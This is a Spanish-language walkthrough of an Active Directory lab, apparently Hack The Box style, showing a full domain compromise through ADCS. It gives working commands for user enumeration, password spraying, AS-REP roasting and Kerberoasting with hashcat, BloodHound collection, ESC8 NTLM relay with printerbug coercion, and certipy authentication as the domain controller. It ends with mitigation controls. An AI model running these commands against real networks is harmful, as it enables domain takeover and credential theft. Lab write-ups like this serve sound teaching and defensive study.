Plataforma: Laboratorio AD / Hack The Box style Dominio:
shadow.gate· DC:DC01.shadow.gate· IP:10.1.88.4Fecha: 2026-01-15 Objetivo: acceso al dominio completo (Administrator / DA) vía cadena ADCS.
Cadena de ataque al dominio Windows mediante abuso de infraestructura ADCS (PKI) partiendo de un ASREProast y escalando por Kerberoast + BloodHound. El vector clave fue un template de certificado vulnerable a ESC8 que permitió, mediante NTLM relay + printerbug (spooler abuse), obtener un certificado de Domain Controller, autenticarse con ticket Kerberos y dumpear los hashes del dominio.
Resumen de la cadena (MITRE ATT&CK):
| Paso | Técnica | Táctica |
|---|---|---|
| Null session + user enumeration | T1087.002 Account Discovery | Discovery |
ASREProast → crack jtrueblood |
T1558.004 Kerberoasting / AS-REP | Credential Access |
| BloodHound → outbound object control | T1069 Permission Groups Discovery | Discovery |
Kerberoast bbrown → crack |
T1558.003 Kerberoasting | Credential Access |
| ESC8 (NTLM relay → ADCS Web Enrollment) | T1557 Adversary-in-the-Middle + T1649 Steal-or-Forge Certificates | Credential Access |
| printerbug (spooler) para forzar relay | T1557.001 LLMNR/NBT-NS Poisoning + MS-RPRN | Credential Access |
| certipy auth → ticket Kerberos | T1558 Kerberos + T1649 | Credential Access |
| Dump hashes del dominio | T1003.001 LSASS / DCSync | Credential Access |
export target=10.1.88.4
rustscan -a $target -- -A
nmap -sCV --min-rate 2500 -p- -Pn -n $target
Resultado nmap (servicios clave):
| Puerto | Servicio | Detalle |
|---|---|---|
| 53 | domain | Simple DNS Plus |
| 80 | http | Microsoft IIS httpd 10.0 |
| 88 | kerberos-sec | Windows Kerberos |
| 135 / 139 / 445 | RPC / netbios / SMB | SMB |
| 389 / 636 / 3268 / 3269 | LDAP / LDAPS / GC | Dominio: shadow.gate, sitio Default-First-Site |
| 3389 | RDP | Windows Terminal Services |
| 5985 | WinRM | HTTPAPI 2.0 |
| 9389 | mc-nmf | .NET Message Framing |
Se identifica un Domain Controller (DC01.shadow.gate) con todos los servicios AD expuestos.
Resolver el hosts:
echo '10.1.88.4 shadow.gate dc01.shadow.gate' | sudo tee -a /etc/hosts
(Nota: en el proceso original aparecía dc01.shado.gate, se corrige a dc01.shadow.gate.)
enum4linux $target
Se confirma autenticación con credenciales nulas (null session) que devuelve información del dominio. Aprovechamos con nxc:
nxc smb $target -u '' -p '' --users-export usuarios.txt
Extraemos la lista de usuarios del dominio.
Intento de password-spray (cada usuario con su mismo nombre como password), descartando brute-force real:
nxc smb $target -u usuarios.txt -p usuarios.txt --no-brute
Sin resultados → pasamos a ASREP.
Probamos usuarios AS-REP roastables (sin pre-auth de Kerberos):
nxc ldap $target -u usuarios.txt -p '' --asreproast asrep.hash
Se obtiene el hash del usuario jtrueblood. Se crackea:
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
# -m 18200 -> Kerberos 5, etype 23, AS-REP
Credenciales obtenidas:
jtrueblood : blood_brothers
nxc ldap $target -u 'jtrueblood' -p 'blood_brothers' \
--bloodhound --collection all --dns-server 10.1.88.4
Cargamos el zip generado en BloodHound y analizamos Outbound Object Control:
bbrown → kerberoastable.bbrown es miembro del grupo ADCS Reader → puede leer/consultar plantillas de certificados → superficie ADCS explorable.bbrownpython3 .../targetedKerberoast.py -v -d shadow.gate -u 'jtrueblood' -p 'blood_brothers'
Se obtiene el hash Kerberoast (SPN de bbrown), se crackea:
hashcat -m 13100 bbrown.hash /usr/share/wordlists/rockyou.txt
# -m 13100 -> Kerberos 5, etype 23, TGS-REP
Credenciales obtenidas:
bbrown@shadow.gate : 12345678
Como bbrown está en ADCS Reader, podemos consultar plantillas de certificados:
certipy find -u 'bbrown@shadow.gate' -p '12345678' \
-dc-ip 10.1.88.4 -target 'DC01.shadow.gate' \
-enabled -vulnerable -stdout
Se identifica un template vulnerable a ESC8 (NTLM Relay a ADCS Web Enrollment). Requiere el flag -template DomainController para obtener un certificado que permita autenticación como DC.
Consola 1 — listener NTLM relay hacia el Web Enrollment de ADCS:
sudo python3 ntlmrelayx.py \
-t "http://$target/certsrv/certfnsh.asp" \
-smb2support --adcs --template DomainController -debug
Consola 2 — forzar autenticación del DC hacia nuestro listener (printerbug / MS-RPRN spooler abuse):
python3 .../printerbug.py \
"shadow.gate/bbrown:12345678"@'10.1.88.4' 10.200.66.114
(10.200.66.114 = IP del atacante donde corre el listener.)
El relay captura el hash del DC y lo usa para solicitar un certificado de Domain Controller (PFX) al template vulnerable.
PFX="$(ls -t *.pfx | head -n1)"
certipy auth -pfx "$PFX" -dc-ip 10.1.88.4
certipy auth con el certificado genera un TGT de Kerberos autenticado como el DC. Exportamos y verificamos:
export KRB5CCNAME="$(realpath "$(ls -t *.ccache | head -n1)")"
klist
Con el ticket de DC válido, se dumpean los hashes del dominio (autenticación como DC permite enumerar cuentas y hashes del ntds.dit).
Nota de método: registrar la herramienta exacta usada aquí (p.ej. secretsdump con el ccache/ticket, o equivalente) para completar la evidencia.
| Control recomendado | Cómo mitiga esta cadena |
|---|---|
| Deshabilitar / redirigir la Web Enrollment (certsrv) | Elimina el objetivo del NTLM relay (ESC8). |
| Endpoint hardening de ADCS | Evitar templates anidados/extendidos con CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT. |
| SMB signing obligatorio + LDAP channel binding | Debilita el NTLM relay y el printerbug hacia SMB. |
| Auditoría y minimización de grupos privilegiados | ADCS Reader y otros con control sobre certificados no deberían solaparse con usuarios kerberoastables. |
| Password policy fuerte + LAPS | Reduce éxito de ASREProast/Kerberoast con rockyou. |
| ISO/IEC 27001 A.12.6.1 / A.14.2 | Gestión de vulnerabilidades y hardening. |
| A.9.2 (access control) / A.9.4 (auth methods) | Segregación y autenticación multifactor. |
Nota: las flags/credenciales sensibles se omiten y/o se usan valores de laboratorio. Todo se ejecutó en entorno controlado y autorizado.